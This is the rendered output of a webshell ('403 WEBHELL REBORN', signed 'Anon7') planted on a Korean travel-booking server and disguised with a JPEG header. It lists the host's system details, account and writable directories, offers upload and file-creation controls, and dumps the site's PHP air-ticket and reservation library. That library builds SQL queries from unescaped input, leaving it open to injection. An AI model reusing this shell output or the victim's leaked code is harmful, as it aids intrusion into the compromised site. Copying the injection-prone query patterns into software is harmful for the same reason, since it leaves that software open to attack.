ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/Lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/Lib/to_air.lib.php
<?


/******************************************************************************
*
* 1. 할인항공권
*
******************************************************************************/


// 할인항공권 목록
// 
function to_air_ticket($sql_where="",$sql_order="",$limit="")
{
	global $cf;

	$table = "TB_AIR_TICKET";
	$data = array();

	$sql = "select * from {$table} where 1 {$sql_where} ";

	if ( $sql_order ) $sql .= " order by {$sql_order}";
	else $sql .= " order by ti_no , ti_uid desc ";

	if ( $limit ) $sql .= " limit {$limit} ";

	$rs = db_query($sql);

	for($i=0 ; $row = db_fetch_array($rs) ; $i++){
		$row['round_yn_str'] = "편도";
		if ($row['round_yn']=="Y") $row['round_yn_str'] = "왕복";

		// 항공사 정보
		$air_arr = TO_get_airline(" and airline_code = '$row[airline_code]' ");
		$arr = $air_arr[0];
		$row['air_img_src'] = $arr['air_img_src'];
		$row['airnm_kor'] = $arr['airnm_kor'];;

		// 사용 flag
		if ($row['delflag'] == "N") {
			$row['delflag_icon'] = $cf['icon']['start'];
			$row['delflag_opp'] = "Y";
		} else {
			$row['delflag_icon'] = $cf['icon']['stop'];
			$row['delflag_opp'] = "N";
		}

		// 출발일 개수
		$sql = "select count(ar_uid) as airdate_cnt from TB_AIR_DATE where ti_uid='{$row[ti_uid]}' and start_dt > curdate() ";
		$arr = db_fetch($sql);
		$row['airdate_cnt'] = $arr['airdate_cnt'];


		// 입력일
		$row['ins_dt2'] = str_replace("-",".",substr($row['ins_dt'],0,10));

		$data[] = $row;
	}

	return $data;
}

// 할인항공 출발일 목록
// 
function to_air_date($sql_where="",$sql_order="",$limit="",$res_no="")
{
	$table = "TB_AIR_DATE";
	$data = array();

	if ($res_no) {
		$table = "TB_RES_AIR_DATE"; // 예약된 항공출발일 조회
		$sql_where = " and res_no='{$res_no}' ";
	}
	if (!$sql_where) return $data;
	
	$sql = "select * from {$table} where 1 {$sql_where} ";

	if ( $sql_order ) 
		$sql .= " order by {$sql_order} "; 
	else 
		$sql .= " order by start_dt ";

	if ( $limit ) $sql .= " limit {$limit} ";

	$rs = db_query($sql);

	// 예약진행상태 코드
	$code_data = base_codec("PRD","HRES");

	for($i=0 ; $row = db_fetch_array($rs) ; $i++)
	{
		// 할인항공 마스터 정보
		$arr_t = to_air_ticket(" and ti_uid='".$row['ti_uid']."' ");
		$row['round_yn_str'] = $arr_t[0]['round_yn_str']; // 왕복여부
		$row['air_grade'] = $arr_t[0]['air_grade']; // 좌석등급
		$row['memo'] = $arr_t[0]['memo']; // 비고
		$row['air_img_src'] = $arr_t[0]['air_img_src'];

		// 출발시간
		$tmp_arr = explode(":",$row['start_tm']);
		$row['start_tm_1'] = $tmp_arr[0];
		$row['start_tm_2'] = $tmp_arr[1];

		// 도착시간
		$tmp_arr = explode(":",$row['end_tm']);
		$row['end_tm_1'] = $tmp_arr[0];
		$row['end_tm_2'] = $tmp_arr[1];

		// 개인 판매가격
		$row['adult_price'] = $row['net_ad'] + $row['net_ad_addon'] + $row['person_ad']; // 성인판매가
		$row['child_price'] = $row['net_ch'] + $row['net_ch_addon'] + $row['person_ch']; // 아동판매가
		$row['baby_price'] = $row['net_ba'] + $row['net_ba_addon'] + $row['person_ba']; // 유아판매가

		// 대리점 판매가격
		$row['agentad_price'] = $row['net_ad'] + $row['net_ad_addon'] + $row['agent_ad']; // 성인판매가
		$row['agentch_price'] = $row['net_ch'] + $row['net_ch_addon'] + $row['agent_ch']; // 아동판매가
		$row['agentba_price'] = $row['net_ba'] + $row['net_ba_addon'] + $row['agent_ba']; // 유아판매가

		// 좌석
		$row['reserv_seat'] = $row['total_seat'] - $row['left_seat'];
		if ( $row['reserv_seat'] < 0 ) $row['reserv_seat']=0;

		// 항공사
		if(!$row['air_nm']) 
		{
			$arr_t = TO_get_airline(" and airline_code='{$row[airline_code]}' ");
			$row['air_nm'] = $arr_t[0]['airnm_kor'];
		}

		// 예약가능 상태
		$reserv_yn = "C"; // 확정예약
		$reserv_str=  $code_data[1]['cd_nm'];
		$reserv_color = $code_data[1]['cd_memo'];
		$reserv_class = $code_data[1]['cd_memo2'];

		if ( $row['res_state'] == "C" ) {
			$reserv_yn = "N"; // 예약취소,날짜초과 
			$reserv_str = "마감";
			$reserv_color = $code_data[2]['cd_memo'];
			$reserv_class = $code_data[2]['cd_memo2'];
		}
		if ( $row['start_dt'] <= date("Y-m-d") ) {
			$reserv_yn = "N"; // 예약취소,날짜초과 
			$reserv_str = "마감";
			$reserv_color = $code_data[2]['cd_memo'];
			$reserv_class = $code_data[2]['cd_memo2'];
		}
		if ( (int)$row['reserv_seat'] <= 0  or $row['res_state']=="B" ) { // 모객완료 or 대기예약
			$reserv_yn = "R"; // 대기예약
			$reserv_str=  $code_data[0]['cd_nm'];
			$reserv_color = $code_data[0]['cd_memo'];
			$reserv_class = $code_data[0]['cd_memo2'];
		}

		$row['reserv_yn'] = $reserv_yn;
		$row['reserv_str'] = $reserv_str;
		$row['reserv_color'] = $reserv_color;
		$row['reserv_class'] = $reserv_class;

		// 기타
		$row['ins_dt2'] = str_replace("-","/",substr($row['ins_dt'],0,10));
		$row['edit_dt2'] = str_replace("-","/",substr($row['edit_dt'],0,10));
		$row['start_dt_yoil'] = get_yoil($row['start_dt']); // 행사출발요일
		$row['end_dt_yoil'] = get_yoil($row['end_dt']); // 행사도착요일
		$row['start_dt2'] = str_replace("-",".",$row['start_dt']);
		$row['end_dt2'] = str_replace("-",".",$row['end_dt']);

		$data[] = $row;
	}

	return $data;
}

// 할인항공 데이터를 일괄 정리후 배열로 반환
//
// @param $row : 할인항공배열 or ti_uid(할인항공 uid)
// @param $memo_len : 비고 자를 길이
// @param $etc_len : 상세요금설명 자를 길이
// @return : 배열
function TO_get_air($row, $memo_len=0, $etc_len=0) {
	global $cf;

	// 상품정보배열이 아닐 경우 할인항공 uid 넘어옴
	if (!is_array($row)) {
		$sql = "SELECT t.*
		        , a.AirCD, a.AirNameKR, a.AirNameEN, AirImage
				FROM TB_AIR_TICKET t
				LEFT JOIN (SELECT * FROM TB_AIR_LINE WHERE delflag = 'N') a ON t.tidx = a.tidx
				WHERE t.ti_uid = '" . $row . "'";
		$row = db_fetch($sql);
	}

	// 배열전체를 복사
	$list = $row;
	unset($row);

	$list = TO_stripslashes($list); // stripslashes 처리

	// 할인항공 uid 설정
	$ti_uid = $list['ti_uid'];

	// 할인항공권 존재 체크
	if (!$ti_uid) {
		error_msg("할인항공권이 존재하지 않거나 삭제되었습니다.");
	}

	// 할인항공권 요금 설정
	if (!$list['ti_money']) $list['ti_money'] = 0;

	// 항공사 이미지 설정
	$list['AirImageSrc'] = "";
	if ($list['AirImage']) {
		$list['AirImageSrc'] = "/FileData/airlogo/" . $list['AirImage'];
	}

	// 왕복여부 설정
	$list['ti_round_str'] = ($list['ti_round'] == "Y") ? "왕복" : "편도";

	// 비고 자르기
	$list['ti_memo'] = cut_str($list['ti_memo'], $memo_len);

	// 상세요금설명 자르기
	$list['ti_etc'] = cut_str($list['ti_etc'], $etc_len);

	// 할인항공권 타이틀 설정
	$list['ti_title'] = $list['sCityName'] . " → " . $list['CityName'];

	// 할인항공권 전체 타이틀(예약명) 설정
	$list['ti_full_title'] = $list['ti_title'] . " (" . $list['ti_round_str'] . ") - " . $list['AirNameKR'];

	return $list;
}

// 할인항공 나라를 배열로 반환 (20100511 )
//
// @param $order : 정렬순서
// @return : 2차원 배열
function TO_get_air_nation_array($order="") {
	global $cf;

	// 정렬 설정
	$sql_order = ($order) ? $order : " CASE WHEN Bidx = 'KO' THEN 0 ELSE OrderNum END, NationName, Bidx";

	// 할인항공 나라를 가져옴
	$sql = "SELECT Bidx, NationName, NationEngName 
	        FROM TB_AreaB
			WHERE DelFlagA = 'N'
			ORDER BY
			$sql_order
			";
	$rs = db_query($sql);

	// 배열로 저장
	$arr = array();
	while ($row = db_fetch_array($rs)) {
		$arr[] = $row;
	}

	return $arr;
}

// 할인항공 나라를 <option> 으로 반환 (20100511 )
//
// @param $val : 셀렉트될 나라코드
// @param $order : 정렬순서
// @return : 문자열
function TO_get_air_nation_option($val="", $order="") {
	global $cf;

	// 할인항공 나라를 배열로 가져옴
	$arr = TO_get_air_nation_array($order);

	// <option> 설정
	$str = "";
	for ($i=0, $cnt=count($arr); $i<$cnt; $i++) {
		$selected = ($arr[$i]['Bidx'] == $val) ? " selected" : "";
		$str .= "<option value='" . $arr[$i]['Bidx'] . "'" . $selected . ">" . $arr[$i]['NationName'] . "</option> \n";
	}

	return $str;
}

// 할인항공 도시를 배열로 반환 (20100507 )
//
// @param $Bidx : 가져올 국가코드 (없을경우 전체)
// @param $Cidx : 가져올 도시코드 (없을경우 전체)
// @param $order : 정렬순서
// @return : 2차원 배열
function TO_get_air_city_array($Bidx="", $Cidx="", $order="",$column="DelFlag") {
	global $cf;

	// 검색 설정
	$sql_where = "";
	if ($Bidx) $sql_where .= " AND c.Bidx = '$Bidx' ";
	if ($Cidx) $sql_where .= " AND c.Cidx = '$Cidx' ";

	// 정렬 설정
	$sql_order = ($order) ? $order : " CASE WHEN c.Bidx = 'KO' THEN 0 ELSE c.OrderNum END, c.CityName, c.Cidx";

	// 할인항공 도시를 가져옴
	$sql = "SELECT c.Bidx, b.NationName, c.Cidx, c.CityName
	        , b.NationEngName, c.CityEngName
	        FROM TB_AreaC c, TB_AreaB b
			WHERE c.Bidx = b.Bidx
			$sql_where
			AND b.{$column} = 'N'
			AND c.{$column} = 'N'
			ORDER BY
			$sql_order
			";
	$rs = db_query($sql);

	// 배열로 저장
	$arr = array();
	while ($row = db_fetch_array($rs)) {
		$arr[] = $row;
	}

	return $arr;
}

// 할인항공 도시를 <option> 으로 반환 (20100507 )
//
// @param $val : 셀렉트될 도시코드
// @param $Bidx : 가져올 국가코드 (없을경우 전체)
// @param $Cidx : 가져올 도시코드 (없을경우 전체)
// @param $order : 정렬순서
// @return : 문자열
function TO_get_air_city_option($val="", $Bidx="", $Cidx="", $order="") {
	global $cf;

	// 할인항공 도시를 배열로 가져옴
	$arr = TO_get_air_city_array($Bidx, $Cidx, $order);

	// <option> 설정
	$str = "";
	for ($i=0, $cnt=count($arr); $i<$cnt; $i++) {
		$selected = ($arr[$i]['Cidx'] == $val) ? " selected" : "";
		$str .= "<option value='" . $arr[$i]['Cidx'] . "'" . $selected . ">" . $arr[$i]['CityName'] . "</option> \n";
	}

	return $str;
}

// 항공사 정보를 배열로 반환 (20131205)
//
// @return : 2차원 배열
function TO_get_airline($sql_where="",$sql_order="") {
	global $cf;

	if ( !$sql_order ) $sql_order = "ordernum";

	// 항공사 정보를 가져옴
	$sql = "SELECT * FROM TB_AIR_LINE WHERE 1 {$sql_where} ORDER BY {$sql_order} ";
	$rs = db_query($sql);

	// 배열로 저장
	$arr = array();
	while ($row = db_fetch_array($rs)) {
		// 항공사 이미지 설정
		$row['air_img_src'] = "";
		if ($row['air_img']) {
			$row['air_img_src'] = "/FileData/airlogo/" . $row['air_img'];
		}

		// 사용 flag
		if ($row['delflag'] == "N") {
			$row['delflag_icon'] = $cf['icon']['start'];
			$row['delflag_opp'] = "Y";
		} else {
			$row['delflag_icon'] = $cf['icon']['stop'];
			$row['delflag_opp'] = "N";
		}

		$arr[] = $row;
	}

	return $arr;
}


//  할인항공권을 항공사,출발도시,도착도시 별로 분류
//
function to_airticket_airline()
{
	$data = array();

	// 항공사
	$sql = "SELECT airline_code,air_nm,COUNT(airline_code) AS airline_count FROM TB_AIR_TICKET GROUP BY airline_code order by air_nm";
	$rs = db_query($sql);
	$data['airline'] = db_fetch_all($rs);

	// 도착도시
	$sql = "SELECT cidx,cidx_nm,COUNT(cidx) AS cidx_count FROM TB_AIR_TICKET GROUP BY cidx order by cidx_nm";
	$rs = db_query($sql);
	$data['cidx'] = db_fetch_all($rs);

	// 출발도시
	$sql = "SELECT s_cidx,s_cidx_nm,COUNT(s_cidx) AS s_cidx_count FROM TB_AIR_TICKET GROUP BY s_cidx order by s_cidx_nm";
	$rs = db_query($sql);
	$data['s_cidx'] = db_fetch_all($rs);

	return $data;
}



//  할인항공 출발일의 처음 날짜와 마지만 날짜 리턴
//
function toad_airticket_first_last($ti_uid)
{
	$y = date("Y");

	$sql = "select MIN(start_dt) AS  first_dt, MAX(end_dt) AS last_dt ";
	$sql .= " from TB_AIR_DATE where ti_uid='{$ti_uid}' ";

	$data = db_fetch($sql);

	if(!$data['first_dt']) $data['first_dt']=date("Y-m-d");
	if(!$data['last_dt']) $data['last_dt']=date("Y-m-d");

	$tmp_arr = explode("-",$data['first_dt']);
	if(($y - $tmp_arr[0]) > 5) {//현재년도와 5년이상 차이나면 현재년도에서 5년전 생성
		$data['first_dt1'] = $y-5;
	}else{
		$data['first_dt1'] = $tmp_arr[0];//년
	}
	$data['first_dt2'] = $tmp_arr[1];//월
	$data['first_dt3'] = $tmp_arr[2];//일

	$tmp_arr = explode("-",$data['last_dt']);
	$data['last_dt1'] = $tmp_arr[0];//년
	$data['last_dt2'] = $tmp_arr[1];//월
	$data['last_dt3'] = $tmp_arr[2];//일

	return $data;	
}


/******************************************************************************
*
* 2. 할인항공 예약
*
******************************************************************************/

// 할인항공예약 마스터 정보 가져오기
//
// @param :
// @param :
function res_air_master($sql_where="",$sql_order="",$limit="")
{
	
	$table = "TB_RES_AIR";
	$data = array();

	$sql = "select * from {$table} where 1 {$sql_where} ";

	if ( $sql_order ) $sql .= " order by {$sql_order}";
	else $sql .= " order by res_seq desc ";

	if ( $limit ) $sql .= " limit {$limit} ";

	$rs = db_query($sql);


	for($i=0 ; $row = db_fetch_array($rs) ; $i++)
	{

		// 여행인원
		$person_data = res_air_person(" and res_no='{$row[res_no]}' and proc_state='NOR' ");
		$row['inwon'] = count($person_data);

		// 입금상태 (미납/완납/과납) 
		$arr = res_account_info($row['res_no']);
		$arr_account = $arr['tot'];

		$row['proc_str'] = "-"; // 입금상태 초기화

		if ( $arr_account['pre_money'] > 0 ) 
			$row['proc_str'] = "<span class='icon_unpaid'>미납</span>";
		else if( $arr_account['pre_money'] < 0 ) 
			$row['proc_str'] = "<span class='icon_overpaid'>과납</span>";
		else if ( $row['res_stat_cd'] == "C" ) 
			$row['proc_str'] = "<span class='icon_paid'>완납</span>";;

		$row['account'] = $arr_account;

		// 결제 유무
		$row['pay_yn'] = "N";
		if ( $row['res_stat_cd']=="C" and $arr_account['pre_money'] > 0 ) // 확정예약 && 미결제금액이 '0' 이상
		{
			$row['pay_yn'] = "Y"; // 결제가능
		}
		if ( $row['res_stat_cd']=="C" and $arr_account['pre_money'] == 0 ) // 확정예약 && 미결제금액이 '0'
		{
			$row['pay_yn'] = "C"; // 결제완료
		}


		// 고객 정산용 테이블(TB_ACCOUNT_CUSTOMER)과 내용 맞추기
		$row['price_total'] = $row['sales_total'];
		$row['price_cost_total'] = $row['sales_total'];

		// 예약진행상태
		$code_data = base_codec("PRD","HRES",$row['res_stat_cd']);
		$row['res_stat_str'] = $code_data[0]['cd_nm'];
		$row['res_stat_color'] = $code_data[0]['cd_memo'];

		// 진행전달
		$code_res = base_codec("PRD","RESA",$row['order_state']);
		$row['order_state_str'] =  $code_res[0]['cd_nm'];
		$row['order_state_color'] = $code_res[0]['cd_memo'];

		// 항공 출발일 정보
		$tmp_arr = to_air_date("","","",$row['res_no']);
		$arr = $tmp_arr[0];

		$row['air_date'] = $arr;
		$row['plane_nm'] = $arr['plane_nm']; // 편명

		// PNR 개수
		$sql = "select count(*) as pnr_cnt from {$table}_PNR where res_no='{$row[res_no]}' ";
		$arr = db_fetch($sql);
		$row['pnr_cnt'] = $arr['pnr_cnt'];

		 // 기타
		$row['ins_dt2'] = str_replace("-","/",substr($row['ins_dt'],0,10));
		$row['edit_dt2'] = str_replace("-","/",substr($row['edit_dt'],0,10));
		$row['start_dt_yoil'] = get_yoil($row['start_dt']); // 행사출발요일
		$row['end_dt_yoil'] = get_yoil($row['end_dt']); // 행사도착요일
		$row['tab'] = "A"; // 상품타입(to_good.lib.php > TO_good_module 참고)

		$data[] = $row;
	}

	return $data;
}

// 할인항공예약 탑승자 정보
//
// @param :
// @param :
function res_air_person($sql_where="",$sql_order="",$limit="")
{
	$table = "TB_RES_AIR_PERSON";
	$data = array();

	$sql = "select * from {$table} where 1 {$sql_where} ";

	if ( $sql_order ) $sql .= " order by {$sql_order}";
	else $sql .= " order by seq ";

	if ( $limit ) $sql .= " limit {$limit} ";

	$rs = db_query($sql);


	for($i=0 ; $row = db_fetch_array($rs) ; $i++){

		// 성인/아동/유아
		if ( $row['generation'] == "A" ) $row['generation_str'] = "성인";
		else if ( $row['generation'] == "C" ) $row['generation_str'] = "아동";
		else if ( $row['generation'] == "B" ) $row['generation_str'] = "유아";

		// 성별
		if ( $row['gend'] == "M" ) $row['gend_str'] = "남";
		else  if ( $row['gend'] == "F" ) $row['gend_str'] = "여";
		
		$data[] = $row;
	}

	return $data;
}


// 행사(date Table)에서 여행자수만큼 예약자(d_people1) 증감
// 행사정보를 TB_RES_GOOD_DATE로 행사정보 카피
//
// @res_no : 예약번호
// @d_uid : 행사번호
// @person_num : 증감 연산
function res_air_date_update($res_no="",$ar_uid="",$person_num="+1")
{
	$table ="TB_AIR_DATE";

	if ( $ar_uid and $person_num ) {
		// 예약자(d_people1) 증감
		$sql = "update {$table} set left_seat=left_seat{$person_num} where ar_uid={$ar_uid} ";
		db_query($sql);
	}

	// TB_AIR_GOOD_DATE로 항공편출발 정보 카피
	if ( $res_no and strpos($person_num,"+") >= 0 ) { 
		$res_date_arr = db_fetch("select count(*) as res_cnt from TB_RES_AIR_DATE where res_no='{$res_no}'");
		$res_date_cnt = $res_date_arr['res_cnt'];
		
		if ( $res_date_cnt == 0 ) {
			$date_arr = db_fetch("select * from {$table} where ar_uid = '{$ar_uid}'  ");

			// 항공편 출발정보 저장
			$is_query = false;
			$sql = " insert into TB_RES_AIR_DATE set ";
			$sql .= " res_no='{$res_no}', ";
			foreach( $date_arr as $colnm => $val){
				if ($colnm!="ins_dt") $sql .= "{$colnm} = '{$val}', ";
				else $sql .= "{$colnm} = '{$val}' ";
				$is_query = true;
			}
			if ($is_query==true) db_query($sql);
		}
	}

	if ($res_no) {
		// 예약마스터의 판매요금 정보 갱신
		$res_data = res_air_master(" and res_no='{$res_no}' "); // 예약마스터
		$res_arr = $res_data[0];

		$tmp_arr = to_air_date("","","",$res_no); // 예약된 항공출발일 TB_RES_AIR_DATE
		$air_date = $tmp_arr[0];
			
		if ( $res_arr['agent_id'] ) { // 대리점 예약 -> 대리점요금으로 갱신
			$sql = "update TB_RES_AIR set adult_price='{$air_date[agentad_price]}',";
			$sql .="child_price='{$air_date[agentch_price]}',";
			$sql .="baby_price='{$air_date[agentba_price]}' ";
			$sql .="where res_no='{$res_no}' ";
			db_query($sql);
		} else { // 개인예약 -> 개인요금으로 갱신
			$sql = "update TB_RES_AIR set adult_price='{$air_date[adult_price]}',";
			$sql .="child_price='{$air_date[child_price]}',";
			$sql .="baby_price='{$air_date[baby_price]}' ";
			$sql .="where res_no='{$res_no}' ";
			db_query($sql);
		}

		$res_data = res_air_master(" and res_no='{$res_no}' "); // 예약마스터 갱신정보
		$res_arr = $res_data[0];
			
		$person_data = res_air_person(" and res_no='{$res_no}' and proc_state='NOR' "); // 취소여행자 제외
		$inw_ad = 0;// 성인수
		$inw_ch = 0;// 아동수
		$inw_ba = 0;// 유아수
		$adult_price_cost = (int)$res_arr['air_date']['net_ad']; // 성인요금 원가
		$child_price_cost = (int)$res_arr['air_date']['net_ch']; // 아동요금 원가
		$baby_price_cost = (int)$res_arr['air_date']['net_ba']; // 유아요금 원가
		$adult_price = (int)$res_arr['adult_price']; // 성인요금
		$child_price = (int)$res_arr['child_price']; // 아동요금
		$baby_price = (int)$res_arr['baby_price']; // 유아요금
		$add_total = (int)$res_arr['add_total']; // 추가요금
		$dc_total =  (int)$res_arr['dc_total']; // 할인요금
		$sales_total = 0; // 합계

		// 인원수 & 세대 에 따른 요금 계산
		for ( $i=0 ; $i < count($person_data) ; $i++ ){
			switch($person_data[$i]['generation']){
				case "A": // 성인
					$inw_ad++;
					break;
				case "C": // 아동
					$inw_ch++;
					break;
				case "B": // 유아
					$inw_ba++;
					break;
			}
		}
		$sales_total = ($inw_ad*$adult_price) + ($inw_ch*$child_price) + ($inw_ba*$baby_price) + (int)$add_total - (int)$dc_total ; // 여행자 판매금액(전체요금)
		$sales_total_cost = ($inw_ad*$adult_price_cost) + ($inw_ch*$child_price_cost) + ($inw_ba*$baby_price_cost)  ; // 판매원가
		
		$sql = " update TB_RES_AIR set sales_total='$sales_total',sales_total_cost='$sales_total_cost' where res_no='{$res_no}'  ";

		db_query($sql);
	}
}


/******************************************************************************
*
* 3. 정산
*
******************************************************************************/

// 할인항공 정산 정보
//
// params res_no : 예약번호
// params seq : 
function acc_air_date($res_no,$seq="")
{
	$table = "TB_ACCOUNT_AIR";
	
	$data['list'] = array(); // 정산 항목 목록
	$data['calu'] = array(); // 정산 누적금액 및 이익율 계산

	$revn_tot = 0; // 수익계
	$exes_tot = 0; // 비용계
	$exes_common = 0; // 출금지출(2014-07-29)
	$exes_vat = 0; // 부가세 지출(2014-07-29)

	if (!$res_no) return $data;

	$sql = "select * from {$table} where res_no='{$res_no}' ";
	if ($seq) $sql .= " and seq='{$seq}' "; 
	$sql .= " order by acc_dt , ins_dt ";

	$rs = db_query($sql);

	// 각 항목 조회
	for($i=0 ; $row=db_fetch_array($rs) ; $i++)
	{
		$revn_tot += $row['revn_price']; // 수익계
		$exes_tot += $row['exes_price']; // 비용계

		if($row['exes_cd']=="AEXE004") // 부가세 지출(2014-07-29)
		{
			$exes_vat += $row['exes_price'];
		}
		else // 출금 지출(2014-07-29)
		{
			$exes_common += $row['exes_price'];
		}

		$data['list'][] = $row;
	}

	if (!$seq)
	{
		$arr = array();
		$comm_tot = 0; // 수수료 수익
		$incom_tot =0; // 총수익
		$price_total = 0; // 판매액

		if ( count($data['list']) > 0 ) // 정산정보가 있음
		{
			// 판매(입금)액
			$arr_t = res_air_master(" and res_no='{$res_no}' ");

			$price_total = $arr_t[0]['price_total'];
				
			// 알선수수료 = 판매액 - 비용계(항공,지상비등등)
			$comm_tot = $price_total - $exes_tot;
				
			// 총수익 = 알선수수료 + 수익계(COM,수수료 등)
			$incom_tot = $comm_tot + $revn_tot;
		}
		$arr['revn_tot']	= $revn_tot;
		$arr['exes_tot']	= $exes_tot;
		$arr['exes_common']	= $exes_common; // 출금 지출(2014-07-29)
		$arr['exes_vat']		= $exes_vat; // 부가세 지출(2014-07-29)
		$arr['comm_tot']	= $comm_tot; // 알선수수료
		$arr['incom_tot']	= $incom_tot; // 총수익
		
		$data['calu'] = $arr;
	}

	// return
	return $data;
}
?>

Anon7 - 2021